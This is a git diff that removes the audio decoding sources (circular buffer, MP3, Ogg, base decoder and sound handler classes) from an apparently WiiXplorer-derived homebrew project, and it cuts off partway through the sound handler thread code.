a/src/sounds/BufferCircle.cpp b/src/sounds/BufferCircle.cpp deleted file mode 100644 index ccba870..0000000 --- a/src/sounds/BufferCircle.cpp +++ /dev/null @@ -1,143 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#include -#include -#include "utils/utils.h" -#include "BufferCircle.hpp" - -BufferCircle::BufferCircle() -{ - which = 0; - BufferBlockSize = 0; -} - -BufferCircle::~BufferCircle() -{ - FreeBuffer(); - SoundBuffer.clear(); - BufferSize.clear(); - BufferReady.clear(); -} - -void BufferCircle::SetBufferBlockSize(int size) -{ - if(size < 0) - return; - - BufferBlockSize = size; - - for(int i = 0; i < Size(); i++) - { - if(SoundBuffer[i] != NULL) - free(SoundBuffer[i]); - - SoundBuffer[i] = (u8 *) memalign(32, ALIGN32(BufferBlockSize)); - BufferSize[i] = 0; - BufferReady[i] = false; - } -} - -void BufferCircle::Resize(int size) -{ - while(size < Size()) - RemoveBuffer(Size()-1); - - int oldSize = Size(); - - SoundBuffer.resize(size); - BufferSize.resize(size); - BufferReady.resize(size); - - for(int i = oldSize; i < Size(); i++) - { - if(BufferBlockSize > 0) - SoundBuffer[i] = (u8 *) memalign(32, ALIGN32(BufferBlockSize)); - else - SoundBuffer[i] = NULL; - BufferSize[i] = 0; - BufferReady[i] = false; - } -} - -void BufferCircle::RemoveBuffer(int pos) -{ - if(!Valid(pos)) - return; - - if(SoundBuffer[pos] != NULL) - free(SoundBuffer[pos]); - - SoundBuffer.erase(SoundBuffer.begin()+pos); - BufferSize.erase(BufferSize.begin()+pos); - BufferReady.erase(BufferReady.begin()+pos); -} - -void BufferCircle::ClearBuffer() -{ - for(int i = 0; i < Size(); i++) - { - BufferSize[i] = 0; - BufferReady[i] = false; - } - which = 0; -} - -void BufferCircle::FreeBuffer() -{ - for(int i = 0; i < Size(); i++) - { - if(SoundBuffer[i] != NULL) - free(SoundBuffer[i]); - - SoundBuffer[i] = NULL; - BufferSize[i] = 0; - BufferReady[i] = false; - } -} - -void BufferCircle::LoadNext() -{ - BufferReady[which] = false; - BufferSize[which] = 0; - - which = Next(); -} - -void BufferCircle::SetBufferReady(int pos, bool state) -{ - if(!Valid(pos)) - return; - - BufferReady[pos] = state; -} - -void BufferCircle::SetBufferSize(int pos, int size) -{ - if(!Valid(pos)) - return; - - BufferSize[pos] = size; -} diff --git a/src/sounds/BufferCircle.hpp b/src/sounds/BufferCircle.hpp deleted file mode 100644 index 0502ef8..0000000 --- a/src/sounds/BufferCircle.hpp +++ /dev/null @@ -1,86 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#ifndef BUFFER_CIRCLE_HPP_ -#define BUFFER_CIRCLE_HPP_ - -#include -#include "common/types.h" - -class BufferCircle -{ - public: - //!> Constructor - BufferCircle(); - //!> Destructor - ~BufferCircle(); - //!> Set circle size - void Resize(int size); - //!> Get the circle size - int Size() { return SoundBuffer.size(); }; - //!> Set/resize the buffer size - void SetBufferBlockSize(int size); - //!> Remove a buffer - void RemoveBuffer(int pos); - //!> Set all buffers clear - void ClearBuffer(); - //!> Free all buffers - void FreeBuffer(); - //!> Switch to next buffer - void LoadNext(); - //!> Get the current buffer - u8 * GetBuffer() { return GetBuffer(which); }; - //!> Get a buffer at a position - u8 * GetBuffer(int pos) { if(!Valid(pos)) return NULL; else return SoundBuffer[pos]; }; - //!> Get current buffer size - u32 GetBufferSize() { return GetBufferSize(which); }; - //!> Get buffer size at position - u32 GetBufferSize(int pos) { if(!Valid(pos)) return 0; else return BufferSize[pos]; }; - //!> Is current buffer ready - bool IsBufferReady() { return IsBufferReady(which); }; - //!> Is a buffer at a position ready - bool IsBufferReady(int pos) { if(!Valid(pos)) return false; else return BufferReady[pos]; }; - //!> Set a buffer at a position to a ready state - void SetBufferReady(int pos, bool st); - //!> Set the buffersize at a position - void SetBufferSize(int pos, int size); - //!> Get the current position in the circle - u16 Which() { return which; }; - - //!> Get the next location - inline u16 Next() { return (which+1 >= Size()) ? 0 : which+1; } - inline u16 Prev() { if(Size() == 0) return 0; else return ((int)which-1 < 0) ? Size()-1 : which-1; } - protected: - //!> Check if the position is a valid position in the vector - bool Valid(int pos) { return !(pos < 0 || pos >= Size()); }; - - u16 which; - u32 BufferBlockSize; - std::vector SoundBuffer; - std::vector BufferSize; - std::vector BufferReady; -}; - -#endif diff --git a/src/sounds/Mp3Decoder.cpp b/src/sounds/Mp3Decoder.cpp deleted file mode 100644 index 48a76ed..0000000 --- a/src/sounds/Mp3Decoder.cpp +++ /dev/null @@ -1,217 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#include -#include -#include -#include -#include -#include -#include "common/types.h" -#include "Mp3Decoder.hpp" - -Mp3Decoder::Mp3Decoder(const char * filepath) - : SoundDecoder(filepath) -{ - SoundType = SOUND_MP3; - ReadBuffer = NULL; - mad_timer_reset(&Timer); - mad_stream_init(&Stream); - mad_frame_init(&Frame); - mad_synth_init(&Synth); - - if(!file_fd) - return; - - OpenFile(); -} - -Mp3Decoder::Mp3Decoder(const u8 * snd, int len) - : SoundDecoder(snd, len) -{ - SoundType = SOUND_MP3; - ReadBuffer = NULL; - mad_timer_reset(&Timer); - mad_stream_init(&Stream); - mad_frame_init(&Frame); - mad_synth_init(&Synth); - - if(!file_fd) - return; - - OpenFile(); -} - -Mp3Decoder::~Mp3Decoder() -{ - ExitRequested = true; - while(Decoding) - usleep(100); - - mad_synth_finish(&Synth); - mad_frame_finish(&Frame); - mad_stream_finish(&Stream); - - if(ReadBuffer) - free(ReadBuffer); - ReadBuffer = NULL; -} - -void Mp3Decoder::OpenFile() -{ - GuardPtr = NULL; - ReadBuffer = (u8 *) memalign(32, SoundBlockSize*SoundBlocks); - if(!ReadBuffer) - { - if(file_fd) - delete file_fd; - file_fd = NULL; - return; - } - - u8 dummybuff[4096]; - int ret = Read(dummybuff, 4096, 0); - if(ret <= 0) - { - if(file_fd) - delete file_fd; - file_fd = NULL; - return; - } - - SampleRate = (u32) Frame.header.samplerate; - Format = ((MAD_NCHANNELS(&Frame.header) == 2) ? (FORMAT_PCM_16_BIT | CHANNELS_STEREO) : (FORMAT_PCM_16_BIT | CHANNELS_MONO)); - Rewind(); -} - -int Mp3Decoder::Rewind() -{ - mad_synth_finish(&Synth); - mad_frame_finish(&Frame); - mad_stream_finish(&Stream); - mad_timer_reset(&Timer); - mad_stream_init(&Stream); - mad_frame_init(&Frame); - mad_synth_init(&Synth); - SynthPos = 0; - GuardPtr = NULL; - - if(!file_fd) - return -1; - - return SoundDecoder::Rewind(); -} - -static inline s16 FixedToShort(mad_fixed_t Fixed) -{ - /* Clipping */ - if(Fixed>=MAD_F_ONE) - return(SHRT_MAX); - if(Fixed<=-MAD_F_ONE) - return(-SHRT_MAX); - - Fixed=Fixed>>(MAD_F_FRACBITS-15); - return((s16)Fixed); -} - -int Mp3Decoder::Read(u8 * buffer, int buffer_size, int pos) -{ - if(!file_fd) - return -1; - - if(Format == (FORMAT_PCM_16_BIT | CHANNELS_STEREO)) - buffer_size &= ~0x0003; - else - buffer_size &= ~0x0001; - - u8 * write_pos = buffer; - u8 * write_end = buffer+buffer_size; - - while(1) - { - while(SynthPos < Synth.pcm.length) - { - if(write_pos >= write_end) - return write_pos-buffer; - - *((s16 *) write_pos) = FixedToShort(Synth.pcm.samples[0][SynthPos]); - write_pos += 2; - - if(MAD_NCHANNELS(&Frame.header) == 2) - { - *((s16 *) write_pos) = FixedToShort(Synth.pcm.samples[1][SynthPos]); - write_pos += 2; - } - SynthPos++; - } - - if(Stream.buffer == NULL || Stream.error == MAD_ERROR_BUFLEN) - { - u8 * ReadStart = ReadBuffer; - int ReadSize = SoundBlockSize*SoundBlocks; - int Remaining = 0; - - if(Stream.next_frame != NULL) - { - Remaining = Stream.bufend - Stream.next_frame; - memmove(ReadBuffer, Stream.next_frame, Remaining); - ReadStart += Remaining; - ReadSize -= Remaining; - } - - ReadSize = file_fd->read(ReadStart, ReadSize); - if(ReadSize <= 0) - { - GuardPtr = ReadStart; - memset(GuardPtr, 0, MAD_BUFFER_GUARD); - ReadSize = MAD_BUFFER_GUARD; - } - - CurPos += ReadSize; - mad_stream_buffer(&Stream, ReadBuffer, Remaining+ReadSize); - } - - if(mad_frame_decode(&Frame,&Stream)) - { - if(MAD_RECOVERABLE(Stream.error)) - { - if(Stream.error != MAD_ERROR_LOSTSYNC || !GuardPtr) - continue; - } - else - { - if(Stream.error != MAD_ERROR_BUFLEN) - return -1; - else if(Stream.error == MAD_ERROR_BUFLEN && GuardPtr) - return -1; - } - } - - mad_timer_add(&Timer,Frame.header.duration); - mad_synth_frame(&Synth,&Frame); - SynthPos = 0; - } - return 0; -} diff --git a/src/sounds/Mp3Decoder.hpp b/src/sounds/Mp3Decoder.hpp deleted file mode 100644 index ccc437b..0000000 --- a/src/sounds/Mp3Decoder.hpp +++ /dev/null @@ -1,47 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#include - -#include "SoundDecoder.hpp" - -class Mp3Decoder : public SoundDecoder -{ - public: - Mp3Decoder(const char * filepath); - Mp3Decoder(const u8 * sound, int len); - virtual ~Mp3Decoder(); - int Rewind(); - int Read(u8 * buffer, int buffer_size, int pos); - protected: - void OpenFile(); - struct mad_stream Stream; - struct mad_frame Frame; - struct mad_synth Synth; - mad_timer_t Timer; - u8 * GuardPtr; - u8 * ReadBuffer; - u32 SynthPos; -}; diff --git a/src/sounds/OggDecoder.cpp b/src/sounds/OggDecoder.cpp deleted file mode 100644 index 9f6c629..0000000 --- a/src/sounds/OggDecoder.cpp +++ /dev/null @@ -1,137 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#include -#include -#include "OggDecoder.hpp" - -static int ogg_read(void * punt, int bytes, int blocks, int *f) -{ - return ((CFile *) f)->read((u8 *) punt, bytes*blocks); -} - -static int ogg_seek(int *f, ogg_int64_t offset, int mode) -{ - return ((CFile *) f)->seek((u64) offset, mode); -} - -static int ogg_close(int *f) -{ - ((CFile *) f)->close(); - return 0; -} - -static long ogg_tell(int *f) -{ - return (long) ((CFile *) f)->tell(); -} - -static ov_callbacks callbacks = { - (size_t (*)(void *, size_t, size_t, void *)) ogg_read, - (int (*)(void *, ogg_int64_t, int)) ogg_seek, - (int (*)(void *)) ogg_close, - (long (*)(void *)) ogg_tell -}; - -OggDecoder::OggDecoder(const char * filepath) - : SoundDecoder(filepath) -{ - SoundType = SOUND_OGG; - - if(!file_fd) - return; - - OpenFile(); -} - -OggDecoder::OggDecoder(const u8 * snd, int len) - : SoundDecoder(snd, len) -{ - SoundType = SOUND_OGG; - - if(!file_fd) - return; - - OpenFile(); -} - -OggDecoder::~OggDecoder() -{ - ExitRequested = true; - while(Decoding) - usleep(100); - - if(file_fd) - ov_clear(&ogg_file); -} - -void OggDecoder::OpenFile() -{ - if (ov_open_callbacks(file_fd, &ogg_file, NULL, 0, callbacks) < 0) - { - delete file_fd; - file_fd = NULL; - return; - } - - ogg_info = ov_info(&ogg_file, -1); - if(!ogg_info) - { - ov_clear(&ogg_file); - delete file_fd; - file_fd = NULL; - return; - } - - Format = ((ogg_info->channels == 2) ? (FORMAT_PCM_16_BIT | CHANNELS_STEREO) : (FORMAT_PCM_16_BIT | CHANNELS_MONO)); - SampleRate = ogg_info->rate; -} - -int OggDecoder::Rewind() -{ - if(!file_fd) - return -1; - - int ret = ov_time_seek(&ogg_file, 0); - CurPos = 0; - EndOfFile = false; - - return ret; -} - -int OggDecoder::Read(u8 * buffer, int buffer_size, int pos) -{ - if(!file_fd) - return -1; - - int bitstream = 0; - - int read = ov_read(&ogg_file, (char *) buffer, buffer_size, &bitstream); - - if(read > 0) - CurPos += read; - - return read; -} diff --git a/src/sounds/OggDecoder.hpp b/src/sounds/OggDecoder.hpp deleted file mode 100644 index 8dc568e..0000000 --- a/src/sounds/OggDecoder.hpp +++ /dev/null @@ -1,43 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#include -#include - -#include "SoundDecoder.hpp" - -class OggDecoder : public SoundDecoder -{ - public: - OggDecoder(const char * filepath); - OggDecoder(const u8 * snd, int len); - virtual ~OggDecoder(); - int Rewind(); - int Read(u8 * buffer, int buffer_size, int pos); - protected: - void OpenFile(); - OggVorbis_File ogg_file; - vorbis_info *ogg_info; -}; diff --git a/src/sounds/SoundDecoder.cpp b/src/sounds/SoundDecoder.cpp deleted file mode 100644 index 057871f..0000000 --- a/src/sounds/SoundDecoder.cpp +++ /dev/null @@ -1,224 +0,0 @@ -/**************************************************************************** - * Copyright (C) 2009-2013 Dimok - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - ****************************************************************************/ -#include -#include -#include -#include -#include "SoundDecoder.hpp" - -static const u32 FixedPointShift = 15; -static const u32 FixedPointScale = 1 << FixedPointShift; - -SoundDecoder::SoundDecoder() -{ - file_fd = NULL; - Init(); -} - -SoundDecoder::SoundDecoder(const std::string & filepath) -{ - file_fd = new CFile(filepath, CFile::ReadOnly); - Init(); -} - -SoundDecoder::SoundDecoder(const u8 * buffer, int size) -{ - file_fd = new CFile(buffer, size); - Init(); -} - -SoundDecoder::~SoundDecoder() -{ - ExitRequested = true; - while(Decoding) - usleep(1000); - - //! lock unlock once to make sure it's really not decoding - Lock(); - Unlock(); - - if(file_fd) - delete file_fd; - file_fd = NULL; - - if(ResampleBuffer) - free(ResampleBuffer); -} - -void SoundDecoder::Init() -{ - SoundType = SOUND_RAW; - SoundBlocks = 8; - SoundBlockSize = 0x4000; - ResampleTo48kHz = false; - CurPos = 0; - whichLoad = 0; - Loop = false; - EndOfFile = false; - Decoding = false; - ExitRequested = false; - SoundBuffer.SetBufferBlockSize(SoundBlockSize); - SoundBuffer.Resize(SoundBlocks); - ResampleBuffer = NULL; - ResampleRatio = 0; -} - -int SoundDecoder::Rewind() -{ - CurPos = 0; - EndOfFile = false; - file_fd->rewind(); - - return 0; -} - -int SoundDecoder::Read(u8 * buffer, int buffer_size, int pos) -{ - int ret = file_fd->read(buffer, buffer_size); - CurPos += ret; - - return ret; -} - -void SoundDecoder::EnableUpsample(void) -{ - if( (ResampleBuffer == NULL) - && IsStereo() && Is16Bit() - && SampleRate != 32000 - && SampleRate != 48000) - { - ResampleBuffer = (u8*)memalign(32, SoundBlockSize); - ResampleRatio = ( FixedPointScale * SampleRate ) / 48000; - SoundBlockSize = ( SoundBlockSize * ResampleRatio ) / FixedPointScale; - SoundBlockSize &= ~0x03; - // set new sample rate - SampleRate = 48000; - } -} - -void SoundDecoder::Upsample(s16 *src, s16 *dst, u32 nr_src_samples, u32 nr_dst_samples) -{ - int timer = 0; - - for(u32 i = 0, n = 0; i < nr_dst_samples; i += 2) - { - if((n+3) < nr_src_samples) { - // simple fixed point linear interpolation - dst[i] = src[n] + ( ((src[n+2] - src[n] ) * timer) >> FixedPointShift ); - dst[i+1] = src[n+1] + ( ((src[n+3] - src[n+1]) * timer) >> FixedPointShift ); - } - else { - dst[i] = src[n]; - dst[i+1] = src[n+1]; - } - - timer += ResampleRatio; - - if(timer >= (int)FixedPointScale) { - n += 2; - timer -= FixedPointScale; - } - } -} - -void SoundDecoder::Decode() -{ - if(!file_fd || ExitRequested || EndOfFile) - return; - - // check if we are not at the pre-last buffer (last buffer is playing) - u16 whichPlaying = SoundBuffer.Which(); - if( ((whichPlaying == 0) && (whichLoad == SoundBuffer.Size()-2)) - || ((whichPlaying == 1) && (whichLoad == SoundBuffer.Size()-1)) - || (whichLoad == (whichPlaying-2))) - { - return; - } - - Decoding = true; - - int done = 0; - u8 * write_buf = SoundBuffer.GetBuffer(whichLoad); - if(!write_buf) - { - ExitRequested = true; - Decoding = false; - return; - } - - if(ResampleTo48kHz && !ResampleBuffer) - EnableUpsample(); - - while(done < SoundBlockSize) - { - int ret = Read(&write_buf[done], SoundBlockSize-done, Tell()); - - if(ret <= 0) - { - if(Loop) - { - Rewind(); - continue; - } - else - { - EndOfFile = true; - break; - } - } - - done += ret; - } - - if(done > 0) - { - // check if we need to resample - if(ResampleBuffer && ResampleRatio) - { - memcpy(ResampleBuffer, write_buf, done); - - int src_samples = done >> 1; - int dest_samples = ( src_samples * FixedPointScale ) / ResampleRatio; - dest_samples &= ~0x01; - Upsample((s16*)ResampleBuffer, (s16*)write_buf, src_samples, dest_samples); - done = dest_samples << 1; - } - - //! TODO: remove this later and add STEREO support with two voices, for now we convert to MONO - if(IsStereo()) - { - s16* monoBuf = (s16*)write_buf; - done = done >> 1; - - for(int i = 0; i < done; i++) - monoBuf[i] = monoBuf[i << 1]; - } - - DCFlushRange(write_buf, done); - SoundBuffer.SetBufferSize(whichLoad, done); - SoundBuffer.SetBufferReady(whichLoad, true); - if(++whichLoad >= SoundBuffer.Size()) - whichLoad = 0; - } - - // check if next in queue needs to be filled as well and do so - if(!SoundBuffer.IsBufferReady(whichLoad)) - Decode(); - - Decoding = false; -} - diff --git a/src/sounds/SoundDecoder.hpp b/src/sounds/SoundDecoder.hpp deleted file mode 100644 index c0c9da1..0000000 --- a/src/sounds/SoundDecoder.hpp +++ /dev/null @@ -1,105 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#ifndef SOUND_DECODER_HPP -#define SOUND_DECODER_HPP - -#include "fs/CFile.hpp" -#include "system/CMutex.h" -#include "BufferCircle.hpp" - -class SoundDecoder -{ -public: - SoundDecoder(); - SoundDecoder(const std::string & filepath); - SoundDecoder(const u8 * buffer, int size); - virtual ~SoundDecoder(); - virtual void Lock() { mutex.lock(); } - virtual void Unlock() { mutex.unlock(); } - virtual int Read(u8 * buffer, int buffer_size, int pos); - virtual int Tell() { return CurPos; } - virtual int Seek(int pos) { CurPos = pos; return file_fd->seek(CurPos, SEEK_SET); } - virtual int Rewind(); - virtual u16 GetFormat() { return Format; } - virtual u16 GetSampleRate() { return SampleRate; } - virtual void Decode(); - virtual bool IsBufferReady() { return SoundBuffer.IsBufferReady(); } - virtual u8 * GetBuffer() { return SoundBuffer.GetBuffer(); } - virtual u32 GetBufferSize() { return SoundBuffer.GetBufferSize(); } - virtual void LoadNext() { SoundBuffer.LoadNext(); } - virtual bool IsEOF() { return EndOfFile; } - virtual void SetLoop(bool l) { Loop = l; EndOfFile = false; } - virtual u8 GetSoundType() { return SoundType; } - virtual void ClearBuffer() { SoundBuffer.ClearBuffer(); whichLoad = 0; } - virtual bool IsStereo() { return (GetFormat() & CHANNELS_STEREO) != 0; } - virtual bool Is16Bit() { return ((GetFormat() & 0xFF) == FORMAT_PCM_16_BIT); } - virtual bool IsDecoding() { return Decoding; } - - void EnableUpsample(void); - - enum SoundFormats - { - FORMAT_PCM_16_BIT = 0x0A, - FORMAT_PCM_8_BIT = 0x19, - }; - enum SoundChannels - { - CHANNELS_MONO = 0x100, - CHANNELS_STEREO = 0x200 - }; - - enum SoundType - { - SOUND_RAW = 0, - SOUND_MP3, - SOUND_OGG, - SOUND_WAV - }; -protected: - void Init(); - void Upsample(s16 *src, s16 *dst, u32 nr_src_samples, u32 nr_dst_samples); - - CFile * file_fd; - BufferCircle SoundBuffer; - u8 SoundType; - u16 whichLoad; - u16 SoundBlocks; - int SoundBlockSize; - int CurPos; - bool ResampleTo48kHz; - bool Loop; - bool EndOfFile; - bool Decoding; - bool ExitRequested; - u16 Format; - u16 SampleRate; - u8 *ResampleBuffer; - u32 ResampleRatio; - CMutex mutex; -}; - - -#endif diff --git a/src/sounds/SoundHandler.cpp b/src/sounds/SoundHandler.cpp deleted file mode 100644 index 8a98666..0000000 --- a/src/sounds/SoundHandler.cpp +++ /dev/null @@ -1,358 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010 - * by Dimok - * - * This software is provided 'as-is', without any express or implied - * warranty. In no event will the authors be held liable for any - * damages arising from the use of this software. - * - * Permission is granted to anyone to use this software for any - * purpose, including commercial applications, and to alter it and - * redistribute it freely, subject to the following restrictions: - * - * 1. The origin of this software must not be misrepresented; you - * must not claim that you wrote the original software. If you use - * this software in a product, an acknowledgment in the product - * documentation would be appreciated but is not required. - * - * 2. Altered source versions must be plainly marked as such, and - * must not be misrepresented as being the original software. - * - * 3. This notice may not be removed or altered from any source - * distribution. - * - * for WiiXplorer 2010 - ***************************************************************************/ -#include -#include -#include "dynamic_libs/ax_functions.h" -#include "common/common.h" -#include "fs/CFile.hpp" -#include "SoundHandler.hpp" -#include "WavDecoder.hpp" -#include "Mp3Decoder.hpp" -#include "OggDecoder.hpp" - -SoundHandler * SoundHandler::handlerInstance = NULL; - -SoundHandler::SoundHandler() - : CThread(CThread::eAttributeAffCore1 | CThread::eAttributePinnedAff, 0, 0x8000) -{ - Decoding = false; - ExitRequested = false; - for(u32 i = 0; i < MAX_DECODERS; ++i) - { - DecoderList[i] = NULL; - voiceList[i] = NULL; - } - - resumeThread(); - - //! wait for initialization - while(!isThreadSuspended()) - usleep(1000); -} - -SoundHandler::~SoundHandler() -{ - ExitRequested = true; - ThreadSignal(); - - ClearDecoderList(); -} - -void SoundHandler::AddDecoder(int voice, const char * filepath) -{ - if(voice < 0 || voice >= MAX_DECODERS) - return; - - if(DecoderList[voice] != NULL) - RemoveDecoder(voice); - - DecoderList[voice] = GetSoundDecoder(filepath); -} - -void SoundHandler::AddDecoder(int voice, const u8 * snd, int len) -{ - if(voice < 0 || voice >= MAX_DECODERS) - return; - - if(DecoderList[voice] != NULL) - RemoveDecoder(voice); - - DecoderList[voice] = GetSoundDecoder(snd, len); -} - -void SoundHandler::RemoveDecoder(int voice) -{ - if(voice < 0 || voice >= MAX_DECODERS) - return; - - if(DecoderList[voice] != NULL) - { - if(voiceList[voice] && voiceList[voice]->getState() != Voice::STATE_STOPPED) - { - if(voiceList[voice]->getState() != Voice::STATE_STOP) - voiceList[voice]->setState(Voice::STATE_STOP); - - // it shouldn't take longer than 3 ms actually but we wait up to 20 - // on application quit the AX frame callback is not called anymore - // therefore this would end in endless loop if no timeout is defined - int timeOut = 20; - while(--timeOut && (voiceList[voice]->getState() != Voice::STATE_STOPPED)) - usleep(1000); - } - SoundDecoder *decoder = DecoderList[voice]; - decoder->Lock(); - DecoderList[voice] = NULL; - decoder->Unlock(); - delete decoder; - } -} - -void SoundHandler::ClearDecoderList() -{ - for(u32 i = 0; i < MAX_DECODERS; ++i) - RemoveDecoder(i); -} - -static inline bool CheckMP3Signature(const u8 * buffer) -{ - const char MP3_Magic[][3] = - { - {'I', 'D', '3'}, //'ID3' - {0xff, 0xfe}, //'MPEG ADTS, layer III, v1.0 [protected]', 'mp3', 'audio/mpeg'), - {0xff, 0xff}, //'MPEG ADTS, layer III, v1.0', 'mp3', 'audio/mpeg'), - {0xff, 0xfa}, //'MPEG ADTS, layer III, v1.0 [protected]', 'mp3', 'audio/mpeg'), - {0xff, 0xfb}, //'MPEG ADTS, layer III, v1.0', 'mp3', 'audio/mpeg'), - {0xff, 0xf2}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'), - {0xff, 0xf3}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'), - {0xff, 0xf4}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'), - {0xff, 0xf5}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'), - {0xff, 0xf6}, //'MPEG ADTS, layer III, v2.0 [protected]', 'mp3', 'audio/mpeg'), - {0xff, 0xf7}, //'MPEG ADTS, layer III, v2.0', 'mp3', 'audio/mpeg'), - {0xff, 0xe2}, //'MPEG ADTS, layer III, v2.5 [protected]', 'mp3', 'audio/mpeg'), - {0xff, 0xe3}, //'MPEG ADTS, layer III, v2.5', 'mp3', 'audio/mpeg'), - }; - - if(buffer[0] == MP3_Magic[0][0] && buffer[1] == MP3_Magic[0][1] && - buffer[2] == MP3_Magic[0][2]) - { - return true; - } - - for(int i = 1; i < 13; i++) - { - if(buffer[0] == MP3_Magic[i][0] && buffer[1] == MP3_Magic[i][1]) - return true; - } - - return false; -} - -SoundDecoder * SoundHandler::GetSoundDecoder(const char * filepath) -{ - u32 magic; - CFile f(filepath, CFile::ReadOnly); - if(f.size() == 0) - return NULL; - - do - { - f.read((u8 *) &magic, 1); - } - while(((u8 *) &magic)[0] == 0 && f.tell() < f.size()); - - if(f.tell() == f.size()) - return NULL; - - f.seek(f.tell()-1, SEEK_SET); - f.read((u8 *) &magic, 4); - f.close(); - - if(magic == 0x4f676753) // 'OggS' - { - return new OggDecoder(filepath); - } - else if(magic == 0x52494646) // 'RIFF' - { - return new WavDecoder(filepath); - } - else if(CheckMP3Signature((u8 *) &magic) == true) - { - return new Mp3Decoder(filepath); - } - - return new SoundDecoder(filepath); -} - -SoundDecoder * SoundHandler::GetSoundDecoder(const u8 * sound, int length) -{ - const u8 * check = sound; - int counter = 0; - - while(check[0] == 0 && counter < length) - { - check++; - counter++; - } - - if(counter >= length) - return NULL; - - u32 * magic = (u32 *) check; - - if(magic[0] == 0x4f676753) // 'OggS' - { - return new OggDecoder(sound, length); - } - else if(magic[0] == 0x52494646) // 'RIFF' - { - return new WavDecoder(sound, length); - } - else if(CheckMP3Signature(check) == true) - { - return new Mp3Decoder(sound, length); - } - - return new SoundDecoder(sound, length); -} - -void SoundHandler::executeThread() -{ - // v2 sound lib can not properly end transition audio on old firmwares - if (OS_FIRMWARE >= 400 && OS_FIRMWARE <= 410) - { - ProperlyEndTransitionAudio(); - } - - //! initialize 48 kHz renderer - AXInitParams params; 